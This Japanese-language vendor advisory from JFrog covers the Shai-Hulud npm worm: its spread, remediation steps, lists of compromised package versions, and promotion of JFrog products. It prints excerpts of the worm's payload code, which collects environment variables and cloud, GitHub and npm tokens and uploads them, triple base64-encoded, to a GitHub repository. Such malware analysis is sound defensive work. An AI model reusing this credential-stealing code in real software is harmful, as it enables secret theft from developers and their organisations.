【注意喚起】史上最大な Npm ソフトウェア サプライ チェーン攻撃: Shai-Hulud ~ 20 種類以上の悪意 OSS パッケージで 1 週間で 200 万回ダウンロード

ここ最近、npm エコシステムは 3 回目の大規模攻撃に直面しました。先日の nx パッケージの乗っ取りや人気パッケージへの攻撃に続き、レジストリが再び攻撃を受けました。最初の報告はダニエル ペレイラによって行われ、侵害されたパッケージとして「@ctrl/tinycolor@4.1.1 」が特定されました。この日のうちに、JFrog のマルウェア スキャナは、338 個の感染バージョンに含まれる 164 個の独自の悪意のあるパッケージを識別しました。

特に、フィンテック企業 (コイン取引所、銀行、証券など) は攻撃の対象とされることが多いとされています。

一方、今回の事件で多くの JFrog ユーザー企業がこのリスクを防げたとの報告を受けています。JFrog プラットフォームCuration 機能Xray は、ソフトウェア サプライ チェーンにおけるセキュリティ ガバナンスを強化するために不可欠なツールです。これらの機能は、開発者が悪意のあるパッケージから保護され、信頼できるコンポーネントのみを利用できる環境を提供します。

本対策の詳細について、https://jfrog.com/ja/platform/schedule-a-demo/ へ、お気軽に問い合わせいただけたら幸いです (日本語、英語の両方に対応)。


脆弱性管理の手間を大幅に削減する最新コンテナー セキュリティに関して、Docker ユーザー会 (10/2 (木) 開催) にてご紹介します。詳細/登録はこちらから。 [参加無料 | 懇親会あり | 参加特典つき]

悪意があるパッケージと脆弱性があるパッケージの違い

ソフトウェア開発や利用において、セキュリティ リスクは常に存在します。「悪意のあるパッケージ」と「脆弱性があるパッケージ」は、いずれも危険をもたらす可能性がありますが、それぞれの性質と意図には顕著な違いがあります。

悪意のあるパッケージ (Malicious Packages)

  • 定義: ユーザーやシステムに害を及ぼすことを目的としたソフトウェアです。マルウェア、スパイウェア、バックドアなどを含むことが多いです。
  • 目的:
    • システムへの不正侵入
    • 他の悪意ある行為の実行
    • 利用者のデータ窃取
  • 例: 正当なライブラリを装ったパッケージがインストールされることでバックドアを開くことがあります。

脆弱性があるパッケージ (Vulnerable Packages)

  • 定義: 設計上または実装上の欠陥により、セキュリティ リスクを引き起こすソフトウェアです。必ずしも悪意を持って作成されたものではありません。
  • 目的: 一般的には善意で作成されていますが、悪用される可能性があります。

コミュニティベースの OSS 依存関係が攻撃の手段になっている理由

コミュニティベースのオープンソース ソフトウェア (OSS) は、そのオープンな性質と広範な利用によってサイバー攻撃の対象とされやすいです。理由は以下の通りです。

  1. 公開性: OSS コードは一般に公開されており、攻撃者は脆弱性を容易に発見できます。
  2. 依存関係の複雑性: 多くの OSS プロジェクトは他のパッケージに依存しており、攻撃者はこれを悪用することができます。
  3. 開発の速さと品質のばらつき: 開発スピードを重視しすぎることで、セキュリティ テストが不十分になることがあります。
  4. 信頼関係の利用: OSS コミュニティ内の信頼関係を悪用し、不正なコードを合法的なパッケージに隠すことができます。
  5. 社会的影響: OSS は外部の監査を受けにくく、セキュリティ上の問題が発見されにくいことがあります。

このような理由から、OSS は攻撃のリスクが高く、開発者や利用者は最新のセキュリティ対策を講じる必要があります。

npm Shai-Hulud について

2025年 9月 15日、エンジニアが NPM リポジトリに対するサプライ チェーン攻撃を発見しました。従来の NPM 攻撃とは異なり、このキャンペーンでは新しい自己増殖型マルウェア (ワームとしても知られています) を使用して、自己を拡散し続けました。この記事執筆時点で、約 200 の感染したパッケージが特定され、人気のある「@ctrl/tinycolor」や CrowdStrike が所有する複数のリポジトリが含まれています。

この新しいワーム「Shai-Hulud」が実行されると、認証情報を盗み出して外部に送信し、さらに自己をコピーするための追加の NPM パッケージを探そうとします。悪意のあるコードは、プライベート リポジトリを公開することで GitHub 上でデータを漏洩させる試みます。Sysdig Threat Research Team (TRT) は、このワームの進行状況を発見以来監視してきました。迅速な対応により、新たに感染するパッケージの数は大幅に減少しています。この記事執筆時点では、新たなパッケージは数時間見られていませんが、状況は変わる可能性があります。

Shai-Hulud の特徴

Shai-Hulud マルウェアは、多段階攻撃を行います。最初にフィッシング キャンペーンを実施し、開発者の認証情報を盗みます。これには、GitHub や npm トークンが標的になります。その後、npm パッケージの postinstall スクリプトに悪意のあるコードを注入します。開発者が感染したパッケージをインストールすると、そのスクリプトは以下のいくつかのアクションを実行します。

  • クレデンシャル ハーベスティング: 環境内の機密データ (GitHub の PAT、npm トークン、SSH キー、クラウド プロバイダーのキー [AWS、GCP、Azure] など)をスキャンします。一部のバリアントは、TruffleHog のようなツールを使用して、より積極的に秘密情報を探します。
  • データ エクスフィルトレーション: 盗まれたデータはエンコード (通常はダブル Base64) され、「Shai-Hulud」という名前のパブリック GitHub リポジトリの data.json のようなファイルにダンプされます。また、データを Webhook (例: webhook[.]site) に送信しようとしますが、このうちのいくつかは過剰な活動によりシャットダウンされています。
  • ワームの拡散: 環境内で有効な npm トークンを見つけると、それを使用して、メンテナが管理する他のパッケージの悪意あるバージョンを公開します。これにより、自己再生的なサイクルが生まれ、感染が npm エコシステム全体に広がります。
  • 持続性: このマルウェアは、アクセス可能なリポジトリに悪意のある GitHub Actions ワークフロー (通常はshai-hulud-workflow.yml という名前) をプッシュします。これらのワークフローはさらに多くの秘密情報をエクスフィルトレーションし、場合によっては、プライベートな組織のリポジトリを攻撃者が制御するアカウントの下で公開リポジトリに変換します。「Shai-Hulud Migration」および「-migration」のサフィックスが付けられます。

この攻撃は、盗まれた GitHub トークンがより広範なサプライチェーン攻撃につながった S1ngularity/Nx のような以前の侵害に基づいています。npm エコシステムにおける最初の成功した自己増殖型ワームの一つであり、深刻な脅威をもたらしています。

攻撃方法: Shai-Hulud Data Stealer Payload

悪意のあるペイロードは、bundle.js ファイルにバンドルされ、Webpack アプリケーションとしてパッケージ化されています。システムを最適化すると約束しながら、その実際の機能ははるかに危険です。

{

  name: "System Info App",

  version: "1.0.0",

  description: "Optimizes system."

}

システムの最適化の代わりに、最初に GitHub、NPM、AWS、GCP からの認証情報を含むシステムの完全な情報を収集します。サポートされているプラットフォームに加えて、TruffleHog というオープンソースのユーティリティをダウンロードして実行し、前述の秘密情報を検索し収集します。

const system_info = {

   application: t.getConfig(),

   system: {

       platform: r.platform,

       architecture: r.architecture,

       platformDetailed: r.platformRaw,

       architectureDetailed: r.archRaw

   },

   runtime: runtime_info,

   environment: process.env,

   modules: {

       github: {

           authenticated: GitHubModule.isAuthenticated(),

           token: GitHubModule.getCurrentToken()

       },

       aws: {

           secrets: ue

       },

       gcp: {

           secrets: de

       },

       truffleHog: truffle_hog_dump,

       npm: {

           token: npm_token,

           authenticated: npm_authenticated,

           username: npm_user

       }

   }

};

データが収集された後、既存のユーザーアカウントで認証を試み、成功した場合には、盗まれたコンテンツを用いて「Shai-Hulud」と名付けたリポジトリを作成します。このコンテンツは、複数回 base64 エンコードされます。

async makeRepo(t, r) {

   const n = (await this.octokit.rest.repos.createForAuthenticatedUser({

       name: t,

       description: "Shai-Hulud Repository.",

       private: true,

   })).data;

   return await new Promise(t => setTimeout(t, 3000)), r && await this.octokit.rest.repos.createOrUpdateFileContents({

       path: "data.json",

       message: "Initial commit",

       content: Buffer.from(Buffer.from(Buffer.from(r).toString("base64")).toString("base64")).toString("base64")

   })

}

もし、GitHubModule.isAuthenticated() が ture で、GitHubModule.repoExists(“Shai-Hulud”) が False の場合、次の処理を行います。

if (GitHubModule.isAuthenticated() && !GitHubModule.repoExists("Shai-Hulud")) {

   await GitHubModule.makeRepo("Shai-Hulud", formatOutput(pe));

   exitWithCode(0);

}

上記のペイロードには 8 つのバリアントが観察されました。主な機能は同じですが、一部のバージョンにはわずかな違いがあり、攻撃者によるキャンペーンの過程での逐次的な調整を示唆しています。例えば、一部のバージョンでは「Shai-Hulud」リポジトリがプライベートに設定されており、発見を隠します。別のバージョンでは、前述の 4 つの認証情報タイプに加えて Azure の認証情報も盗もうとします。

影響を受けたユーザーが行うべきこと

「Compromised Packages」に挙げられたパッケージのいずれかをインストールしている場合、悪意のあるペイロードがシステムから機密情報をエクスフィルトレーションした可能性があります。次の操作を実行してください。

  1. 影響を受けたマシンに保存された以下のプロバイダーのアクセストークンを回転させる。
    • GitHub
    • NPM
    • AWS
    • GCP
    • Azure
  2. TruffleHog で識別できる影響を受けたマシンに保存されていたアクセス トークンを回転させる。サポートされているプロバイダーは、TruffleHog の GitHub リポジトリで検索できます。

注: ソフトウェア サプライ チェーンを積極的に防御するために、JFrog Curation を確認してください。JFrog Curation は、悪意のあるまたはリスキーなオープンソース パッケージを、ソフトウェア サプライ チェーンに入る前に早期にブロックする機能を提供します。さらに詳しく知りたい方は、デモを予約してください。

この攻撃の背後にいるのは誰か

盗まれたデータを格納するために GitHub リポジトリの使用は、以前の NX CLI 侵害で見られた手法を反映しています。しかし、これらの事件が同じ攻撃者によるものかどうかを判断するには不十分です。ツールやペイロードの設計は似ていますが、帰属は不明のままです。

侵害されたパッケージは

一般レポートには、以下の侵害されたパッケージのバージョンが含まれていました。

angulartics2@14.1.2

@ctrl/deluge@7.2.2

@ctrl/golang-template@1.4.3

@ctrl/magnet-link@4.0.4

@ctrl/ngx-codemirror@7.0.2

@ctrl/ngx-csv@6.0.2

@ctrl/ngx-emoji-mart@9.2.2

@ctrl/ngx-rightclick@4.0.2

@ctrl/qbittorrent@9.7.2

@ctrl/react-adsense@2.0.2

@ctrl/shared-torrent@6.3.2

@ctrl/tinycolor@4.1.1, @4.1.2

@ctrl/torrent-file@4.1.2

@ctrl/transmission@7.3.1

@ctrl/ts-base32@4.0.2

encounter-playground@0.0.5

json-rules-engine-simplified@0.2.4, 0.2.1

koa2-swagger-ui@5.11.2, 5.11.1

@nativescript-community/gesturehandler@2.0.35

@nativescript-community/sentry 4.6.43

@nativescript-community/text@1.6.13

@nativescript-community/ui-collectionview@6.0.6

@nativescript-community/ui-drawer@0.1.30

@nativescript-community/ui-image@4.5.6

@nativescript-community/ui-material-bottomsheet@7.2.72

@nativescript-community/ui-material-core@7.2.76

@nativescript-community/ui-material-core-tabs@7.2.76

ngx-color@10.0.2

ngx-toastr@19.0.2

ngx-trend@8.0.1

react-complaint-image@0.0.35

react-jsonschema-form-conditionals@0.3.21

react-jsonschema-form-extras@1.0.4

rxnt-authentication@0.0.6

rxnt-healthchecks-nestjs@1.0.5

rxnt-kue@1.0.7

swc-plugin-component-annotate@1.9.2

ts-gaussian@3.0.6

JFrog プラットフォームはソフトウェア サプライ チェーンのセキュリティとガバナンスを全体に守る

今回の事件に対処するために、大きく分けて 3 つのポイントがあります。

  1. 即時のガバナンスで悪意のあるパッケージのダウンロードと利用を阻止
  2. 現在の開発環境および本番環境のパッケージ調査と対策
  3. Artifactori のリモート リポジトリ機能で全体のキャッシュをコントロール

JFrog Xray、Curation 機能による悪意のあるパッケージの発見と対策

ソフトウェア開発において、オープンソース ライブラリの利用は一般的ですが、その背後には悪意のあるパッケージリスクが潜んでいます。JFrog プラットフォームの XrayCuration を活用することで、これらのリスクを効果的に管理できます。

Curation 機能の重要性 ~ 即時のガバナンスで悪意のあるパッケージのダウンロードと利用を阻止

  1. アーティファクトの選別
    • Curation 機能を活用することで、信頼できるアーティファクトと悪意のあるアーティファクトを区別できます。特定のポリシーやガイドラインに従い、承認されたパッケージのみをダウンロードおよびキャッシュすることが可能です。
  2. 安全なバージョン管理
    • Curation は、すべてのアーティファクトのバージョンを管理し、悪意のあるバージョンや脆弱性のあるものをフィルタリングします。運用チームは、常に最新で安全なアーティファクトを使用できます。
  3. ポリシーとコンプライアンスの適用
    • Curation 機能は、組織のセキュリティ ポリシーに基づいて、どのアーティファクトが使用されるかを管理します。これにより、法的リスクやコンプライアンス リスクを低減します。

JFrog Xray の特長と利点 ~ 現在の開発環境および本番環境のパッケージ調査と対策

  1. リアルタイム脆弱性スキャン
    • Xray は、アーティファクトとその依存関係に対して、リポジトリ内でのリアルタイム スキャンを実行します。これにより、ソフトウェア コンポーネントの脆弱性や悪意のあるパッケージを早期に発見し、修復レポートおよび影響を把握できます。
  1. 深層依存関係の解析
    • Xray は、依存関係の隅々までスキャンする能力を持ち、悪意のあるコードや脆弱性が他のパッケージに与える影響を可視化します。これにより、より安全な構成を選択できます。
  1. アラート機能
    • 脆弱性が検出された際、リアルタイムでアラートを発出します。開発チームは直ちにリスクを把握し、迅速に対応できます。

Artifactori のリモート リポジトリ機能によるキャッシュ コントロール

Artifactoriの リモート リポジトリ機能を使用することで、外部のパッケージ リポジトリからのアーティファクトを管理し、全体のキャッシュを効果的にコントロールできます。これにより、以下の利点があります。

  1. キャッシュ管理
    • リモート リポジトリは、外部リポジトリからのアーティファクトをキャッシュし、再利用性を高めます。これにより、ダウンロードの遅延を減少させ、開発プロセスをスムーズにします。
  1. アクセス制御
    • リモート リポジトリのアクセスを制御することで、信頼できるパッケージのみがキャッシュされ、悪意のあるアーティファクトの侵入を防ぎます。
  1. ポリシーに基づくキャッシュ管理
    • リモート リポジトリに保存するアーティファクトの選別は、組織のポリシーに基づいて行われ、それに従ってキャッシュされます。これにより、リスクの低い環境を維持できます。

このように、JFrog プラットフォームと Artifactory のリモート リポジトリ機能を活用することで、ソフトウェア サプライ チェーンのセキュリティを強化し、悪意のあるパッケージからのリスクを低減することが可能になります。

今回の事件は、モルガンスタンレーも含めた世界各国の JFrog ユーザーが悪意パッケージ攻撃を防ぎました。詳細のセットアップについて、弊社へ問い合わせいただけたら幸いです。

JFrog セキュリティ リサーチ チームの取り組み

JFrog では、専任のセキュリティ リサーチ チームが業界最先端の機能を推進しています。このチームは、新たな脅威を継続的に監視/分析し、脆弱性を発見して行動可能な洞察を開発することで、JFrog の製品や顧客のアプリケーションを守る役割を担っています。JFrog セキュリティ リサーチ チームの積極的なアプローチにより、セキュリティの実践が進化するリスクに常に先んじることができ、その洞察をプラットフォームやソリューションに取り込むことが可能になります。

JFrog の独自の価値は、潜在的なリスクを特定するだけでなく、統合されたセキュリティ ソリューションがアプリケーションのデリバリー パイプラインをどのように確実に強化できるかについて戦略的なガイダンスを提供する専門的な研究にあります。この専門知識と具体的なセキュリティ強化のシームレスな融合により、JFrog は DevOps および継続的デリバリー分野で信頼されるパートナーとしての地位を確立しています。JFrog はこの問題に長期的に焦点を当てており、セキュリティ研究への投資を継続しています。詳しくはこちらを参照してください。

今回の事件は影響が大きいため、JFrog 社は引き続き、以下のパッケージの研究を行っています。

Newly detected compromised packages (ongoing)
We’re continuing to track the unfolding compromise of more packages in this campaign. Our monitoring infrastructure has detected additional malicious packages with the same payload (or variations of it) with hundreds of versions:

@ahmedhfarag/ngx-perfect-scrollbar@20.0.20
@ahmedhfarag/ngx-virtual-scroller@4.0.4
@art-ws/common@2.0.22
@art-ws/common@2.0.28
@art-ws/config-eslint@2.0.4
@art-ws/config-eslint@2.0.5
@art-ws/config-ts@2.0.7
@art-ws/config-ts@2.0.8
@art-ws/db-context@2.0.21
@art-ws/db-context@2.0.24
@art-ws/di@2.0.28
@art-ws/di@2.0.32
@art-ws/di-node@2.0.13
@art-ws/eslint@1.0.5
@art-ws/eslint@1.0.6
@art-ws/fastify-http-server@2.0.24
@art-ws/fastify-http-server@2.0.27
@art-ws/http-server@2.0.21
@art-ws/http-server@2.0.25
@art-ws/openapi@0.1.12
@art-ws/openapi@0.1.9
@art-ws/package-base@1.0.5
@art-ws/package-base@1.0.6
@art-ws/prettier@1.0.5
@art-ws/prettier@1.0.6
@art-ws/slf@2.0.15
@art-ws/slf@2.0.22
@art-ws/ssl-info@1.0.10
@art-ws/ssl-info@1.0.9
@art-ws/web-app@1.0.3
@art-ws/web-app@1.0.4
@basic-ui-components-stc/basic-ui-components@1.0.5
@crowdstrike/commitlint@8.1.1
@crowdstrike/commitlint@8.1.2
@crowdstrike/falcon-shoelace@0.4.1
@crowdstrike/falcon-shoelace@0.4.2
@crowdstrike/foundry-js@0.19.1
@crowdstrike/foundry-js@0.19.2
@crowdstrike/glide-core@0.34.2
@crowdstrike/glide-core@0.34.3
@crowdstrike/logscale-dashboard@1.205.1
@crowdstrike/logscale-dashboard@1.205.2
@crowdstrike/logscale-file-editor@1.205.1
@crowdstrike/logscale-file-editor@1.205.2
@crowdstrike/logscale-parser-edit@1.205.1
@crowdstrike/logscale-parser-edit@1.205.2
@crowdstrike/logscale-search@1.205.1
@crowdstrike/logscale-search@1.205.2
@crowdstrike/tailwind-toucan-base@5.0.1
@crowdstrike/tailwind-toucan-base@5.0.2
@ctrl/deluge@7.2.1
@ctrl/golang-template@1.4.2
@ctrl/magnet-link@4.0.3
@ctrl/ngx-codemirror@7.0.1
@ctrl/ngx-csv@6.0.1
@ctrl/ngx-emoji-mart@9.2.1
@ctrl/ngx-rightclick@4.0.1
@ctrl/qbittorrent@9.7.1
@ctrl/react-adsense@2.0.1
@ctrl/shared-torrent@6.3.1
@ctrl/tinycolor@4.1.1
@ctrl/tinycolor@4.1.2
@ctrl/torrent-file@4.1.1
@ctrl/ts-base32@4.0.1
@hestjs/core@0.2.1
@hestjs/cqrs@0.1.6
@hestjs/demo@0.1.2
@hestjs/eslint-config@0.1.2
@hestjs/logger@0.1.6
@hestjs/scalar@0.1.7
@hestjs/validation@0.1.6
@nativescript-community/arraybuffers@1.1.6
@nativescript-community/arraybuffers@1.1.7
@nativescript-community/arraybuffers@1.1.8
@nativescript-community/perms@3.0.5
@nativescript-community/perms@3.0.6
@nativescript-community/perms@3.0.7
@nativescript-community/perms@3.0.8
@nativescript-community/perms@3.0.9
@nativescript-community/sentry@4.6.43
@nativescript-community/sqlite@3.5.3
@nativescript-community/sqlite@3.5.4
@nativescript-community/sqlite@3.5.5
@nativescript-community/text@1.6.10
@nativescript-community/text@1.6.11
@nativescript-community/text@1.6.12
@nativescript-community/text@1.6.9
@nativescript-community/typeorm@0.2.30
@nativescript-community/typeorm@0.2.31
@nativescript-community/typeorm@0.2.32
@nativescript-community/typeorm@0.2.33
@nativescript-community/ui-document-picker@1.1.27
@nativescript-community/ui-document-picker@1.1.28
@nativescript-community/ui-label@1.3.35
@nativescript-community/ui-label@1.3.36
@nativescript-community/ui-label@1.3.37
@nativescript-community/ui-material-bottom-navigation@7.2.72
@nativescript-community/ui-material-bottom-navigation@7.2.73
@nativescript-community/ui-material-bottom-navigation@7.2.74
@nativescript-community/ui-material-bottom-navigation@7.2.75
@nativescript-community/ui-material-core@7.2.72
@nativescript-community/ui-material-core@7.2.73
@nativescript-community/ui-material-core@7.2.74
@nativescript-community/ui-material-core@7.2.75
@nativescript-community/ui-material-core-tabs@7.2.72
@nativescript-community/ui-material-core-tabs@7.2.73
@nativescript-community/ui-material-core-tabs@7.2.74
@nativescript-community/ui-material-core-tabs@7.2.75
@nativescript-community/ui-material-ripple@7.2.72
@nativescript-community/ui-material-ripple@7.2.73
@nativescript-community/ui-material-ripple@7.2.74
@nativescript-community/ui-material-ripple@7.2.75
@nativescript-community/ui-material-tabs@7.2.72
@nativescript-community/ui-material-tabs@7.2.73
@nativescript-community/ui-material-tabs@7.2.74
@nativescript-community/ui-material-tabs@7.2.75
@nativescript-community/ui-pager@14.1.35
@nativescript-community/ui-pager@14.1.36
@nativescript-community/ui-pager@14.1.37
@nativescript-community/ui-pager@14.1.38
@nativescript-community/ui-pulltorefresh@2.5.4
@nativescript-community/ui-pulltorefresh@2.5.5
@nativescript-community/ui-pulltorefresh@2.5.6
@nativescript-community/ui-pulltorefresh@2.5.7
@nexe/config-manager@0.1.1
@nexe/eslint-config@0.1.1
@nexe/logger@0.1.3
@nstudio/angular@20.0.4
@nstudio/angular@20.0.5
@nstudio/angular@20.0.6
@nstudio/focus@20.0.4
@nstudio/focus@20.0.5
@nstudio/focus@20.0.6
@nstudio/nativescript-checkbox@2.0.6
@nstudio/nativescript-checkbox@2.0.7
@nstudio/nativescript-checkbox@2.0.8
@nstudio/nativescript-checkbox@2.0.9
@nstudio/nativescript-loading-indicator@5.0.1
@nstudio/nativescript-loading-indicator@5.0.2
@nstudio/nativescript-loading-indicator@5.0.3
@nstudio/nativescript-loading-indicator@5.0.4
@nstudio/ui-collectionview@5.1.11
@nstudio/ui-collectionview@5.1.12
@nstudio/ui-collectionview@5.1.13
@nstudio/ui-collectionview@5.1.14
@nstudio/web@20.0.4
@nstudio/web-angular@20.0.4
@nstudio/xplat@20.0.4
@nstudio/xplat@20.0.5
@nstudio/xplat@20.0.6
@nstudio/xplat@20.0.7
@nstudio/xplat-utils@20.0.4
@nstudio/xplat-utils@20.0.5
@nstudio/xplat-utils@20.0.6
@nstudio/xplat-utils@20.0.7
@operato/board@9.0.35
@operato/board@9.0.36
@operato/board@9.0.37
@operato/board@9.0.38
@operato/board@9.0.39
@operato/board@9.0.40
@operato/board@9.0.41
@operato/board@9.0.42
@operato/board@9.0.43
@operato/board@9.0.44
@operato/board@9.0.45
@operato/board@9.0.46
@operato/board@9.0.47
@operato/board@9.0.48
@operato/board@9.0.49
@operato/board@9.0.50
@operato/board@9.0.51
@operato/data-grist@9.0.29
@operato/data-grist@9.0.35
@operato/data-grist@9.0.36
@operato/data-grist@9.0.37
@operato/graphql@9.0.22
@operato/graphql@9.0.35
@operato/graphql@9.0.36
@operato/graphql@9.0.37
@operato/graphql@9.0.38
@operato/graphql@9.0.39
@operato/graphql@9.0.40
@operato/graphql@9.0.41
@operato/graphql@9.0.42
@operato/graphql@9.0.43
@operato/graphql@9.0.44
@operato/graphql@9.0.45
@operato/graphql@9.0.46
@operato/graphql@9.0.47
@operato/graphql@9.0.48
@operato/graphql@9.0.49
@operato/graphql@9.0.50
@operato/graphql@9.0.51
@operato/headroom@9.0.2
@operato/headroom@9.0.35
@operato/headroom@9.0.36
@operato/headroom@9.0.37
@operato/help@9.0.35
@operato/help@9.0.36
@operato/help@9.0.37
@operato/help@9.0.38
@operato/help@9.0.39
@operato/help@9.0.40
@operato/help@9.0.41
@operato/help@9.0.42
@operato/help@9.0.43
@operato/help@9.0.44
@operato/help@9.0.45
@operato/help@9.0.46
@operato/help@9.0.47
@operato/help@9.0.48
@operato/help@9.0.49
@operato/help@9.0.50
@operato/help@9.0.51
@operato/i18n@9.0.35
@operato/i18n@9.0.36
@operato/i18n@9.0.37
@operato/input@9.0.35
@operato/input@9.0.36
@operato/input@9.0.37
@operato/input@9.0.38
@operato/input@9.0.39
@operato/input@9.0.40
@operato/input@9.0.41
@operato/input@9.0.42
@operato/input@9.0.43
@operato/input@9.0.44
@operato/input@9.0.45
@operato/input@9.0.46
@operato/input@9.0.47
@operato/input@9.0.48
@operato/layout@9.0.35
@operato/layout@9.0.37
@operato/popup@9.0.35
@operato/popup@9.0.36
@operato/popup@9.0.37
@operato/popup@9.0.38
@operato/popup@9.0.39
@operato/popup@9.0.40
@operato/popup@9.0.41
@operato/popup@9.0.42
@operato/popup@9.0.43
@operato/popup@9.0.44
@operato/popup@9.0.45
@operato/popup@9.0.46
@operato/popup@9.0.47
@operato/popup@9.0.48
@operato/popup@9.0.49
@operato/popup@9.0.50
@operato/popup@9.0.51
@operato/pull-to-refresh@9.0.35
@operato/pull-to-refresh@9.0.36
@operato/pull-to-refresh@9.0.37
@operato/pull-to-refresh@9.0.38
@operato/pull-to-refresh@9.0.39
@operato/pull-to-refresh@9.0.40
@operato/pull-to-refresh@9.0.41
@operato/pull-to-refresh@9.0.42
@operato/pull-to-refresh@9.0.43
@operato/pull-to-refresh@9.0.44
@operato/pull-to-refresh@9.0.45
@operato/pull-to-refresh@9.0.46
@operato/pull-to-refresh@9.0.47
@operato/shell@9.0.22
@operato/shell@9.0.35
@operato/shell@9.0.36
@operato/shell@9.0.37
@operato/shell@9.0.38
@operato/shell@9.0.39
@operato/styles@9.0.2
@operato/styles@9.0.35
@operato/styles@9.0.36
@operato/styles@9.0.37
@operato/utils@9.0.22
@operato/utils@9.0.35
@operato/utils@9.0.36
@operato/utils@9.0.37
@operato/utils@9.0.38
@operato/utils@9.0.39
@operato/utils@9.0.40
@operato/utils@9.0.41
@operato/utils@9.0.42
@operato/utils@9.0.43
@operato/utils@9.0.44
@operato/utils@9.0.45
@operato/utils@9.0.46
@operato/utils@9.0.47
@operato/utils@9.0.48
@operato/utils@9.0.49
@operato/utils@9.0.50
@operato/utils@9.0.51
@teselagen/bio-parsers@0.4.29
@teselagen/bio-parsers@0.4.30
@teselagen/bounce-loader@0.3.16
@teselagen/bounce-loader@0.3.17
@teselagen/file-utils@0.3.21
@teselagen/file-utils@0.3.22
@teselagen/liquibase-tools@0.4.1
@teselagen/ove@0.7.39
@teselagen/ove@0.7.40
@teselagen/range-utils@0.3.14
@teselagen/range-utils@0.3.15
@teselagen/react-list@0.8.19
@teselagen/react-list@0.8.20
@teselagen/react-table@6.10.19
@teselagen/react-table@6.10.20
@teselagen/react-table@6.10.21
@teselagen/react-table@6.10.22
@teselagen/sequence-utils@0.3.33
@teselagen/sequence-utils@0.3.34
@teselagen/ui@0.9.10
@teselagen/ui@0.9.9
@thangved/callback-window@1.1.4
@things-factory/attachment-base@9.0.42
@things-factory/attachment-base@9.0.43
@things-factory/attachment-base@9.0.44
@things-factory/attachment-base@9.0.45
@things-factory/attachment-base@9.0.46
@things-factory/attachment-base@9.0.47
@things-factory/attachment-base@9.0.48
@things-factory/attachment-base@9.0.49
@things-factory/attachment-base@9.0.50
@things-factory/attachment-base@9.0.51
@things-factory/attachment-base@9.0.52
@things-factory/attachment-base@9.0.53
@things-factory/attachment-base@9.0.54
@things-factory/attachment-base@9.0.55
@things-factory/auth-base@9.0.42
@things-factory/auth-base@9.0.43
@things-factory/auth-base@9.0.44
@things-factory/auth-base@9.0.45
@things-factory/email-base@9.0.42
@things-factory/email-base@9.0.43
@things-factory/email-base@9.0.44
@things-factory/email-base@9.0.45
@things-factory/email-base@9.0.46
@things-factory/email-base@9.0.47
@things-factory/email-base@9.0.48
@things-factory/email-base@9.0.49
@things-factory/email-base@9.0.50
@things-factory/email-base@9.0.51
@things-factory/email-base@9.0.52
@things-factory/email-base@9.0.53
@things-factory/email-base@9.0.54
@things-factory/email-base@9.0.55
@things-factory/email-base@9.0.56
@things-factory/email-base@9.0.57
@things-factory/email-base@9.0.58
@things-factory/email-base@9.0.59
@things-factory/env@9.0.42
@things-factory/env@9.0.43
@things-factory/env@9.0.44
@things-factory/env@9.0.45
@things-factory/integration-base@9.0.42
@things-factory/integration-base@9.0.43
@things-factory/integration-base@9.0.44
@things-factory/integration-base@9.0.45
@things-factory/integration-marketplace@9.0.42
@things-factory/integration-marketplace@9.0.43
@things-factory/integration-marketplace@9.0.44
@things-factory/integration-marketplace@9.0.45
@things-factory/shell@9.0.42
@things-factory/shell@9.0.43
@things-factory/shell@9.0.44
@things-factory/shell@9.0.45
@tnf-dev/api@1.0.8
@tnf-dev/core@1.0.8
@tnf-dev/js@1.0.8
@tnf-dev/mui@1.0.8
@tnf-dev/react@1.0.8
@ui-ux-gang/devextreme-angular-rpk@24.1.7
@ui-ux-gang/devextreme-rpk@24.1.7
@yoobic/design-system@6.5.17
@yoobic/jpeg-camera-es6@1.0.13
@yoobic/yobi@8.7.53
ace-colorpicker-rpk@0.0.14
airchief@0.3.1
airpilot@0.8.8
angulartics2@14.1.1
browser-webdriver-downloader@3.0.8
capacitor-notificationhandler@0.0.2
capacitor-notificationhandler@0.0.3
capacitor-plugin-healthapp@0.0.2
capacitor-plugin-healthapp@0.0.3
capacitor-plugin-ihealth@1.1.8
capacitor-plugin-ihealth@1.1.9
capacitor-plugin-vonage@1.0.2
capacitor-plugin-vonage@1.0.3
capacitorandroidpermissions@0.0.4
capacitorandroidpermissions@0.0.5
config-cordova@0.8.5
cordova-plugin-voxeet2@1.0.24
cordova-voxeet@1.0.32
create-hest-app@0.1.9
db-evo@1.1.4
db-evo@1.1.5
devextreme-angular-rpk@21.2.8
devextreme-rpk@21.2.8
ember-browser-services@5.0.2
ember-browser-services@5.0.3
ember-headless-form@1.1.2
ember-headless-form@1.1.3
ember-headless-form-yup@1.0.1
ember-headless-table@2.1.5
ember-headless-table@2.1.6
ember-url-hash-polyfill@1.0.12
ember-url-hash-polyfill@1.0.13
ember-velcro@2.2.1
ember-velcro@2.2.2
encounter-playground@0.0.2
encounter-playground@0.0.3
encounter-playground@0.0.4
eslint-config-crowdstrike@11.0.2
eslint-config-crowdstrike@11.0.3
eslint-config-crowdstrike-node@4.0.3
eslint-config-crowdstrike-node@4.0.4
eslint-config-teselagen@6.1.7
eslint-config-teselagen@6.1.8
globalize-rpk@1.7.4
graphql-sequelize-teselagen@5.3.8
graphql-sequelize-teselagen@5.3.9
html-to-base64-image@1.0.2
json-rules-engine-simplified@0.2.1
json-rules-engine-simplified@0.2.2
json-rules-engine-simplified@0.2.3
json-rules-engine-simplified@0.2.4
jumpgate@0.0.2
koa2-swagger-ui@5.11.1
koa2-swagger-ui@5.11.2
mcfly-semantic-release@1.3.1
mcp-knowledge-base@0.0.2
mcp-knowledge-graph@1.2.1
mobioffice-cli@1.0.3
monorepo-next@13.0.1
monorepo-next@13.0.2
mstate-angular@0.4.4
mstate-cli@0.4.7
mstate-dev-react@1.1.1
mstate-react@1.6.5
ng-imports-checker@0.0.10
ng-imports-checker@0.0.9
ng2-file-upload@7.0.2
ng2-file-upload@8.0.1
ng2-file-upload@8.0.2
ng2-file-upload@8.0.3
ng2-file-upload@9.0.1
ngx-bootstrap@18.1.4
ngx-bootstrap@19.0.3
ngx-bootstrap@19.0.4
ngx-bootstrap@20.0.3
ngx-bootstrap@20.0.4
ngx-bootstrap@20.0.5
ngx-bootstrap@20.0.6
ngx-color@10.0.1
ngx-toastr@19.0.1
ngx-ws@1.1.5
ngx-ws@1.1.6
oradm-to-gql@35.0.14
oradm-to-gql@35.0.15
oradm-to-sqlz@1.1.2
oradm-to-sqlz@1.1.3
oradm-to-sqlz@1.1.4
oradm-to-sqlz@1.1.5
ove-auto-annotate@0.0.10
ove-auto-annotate@0.0.9
pm2-gelf-json@1.0.4
pm2-gelf-json@1.0.5
printjs-rpk@1.6.1
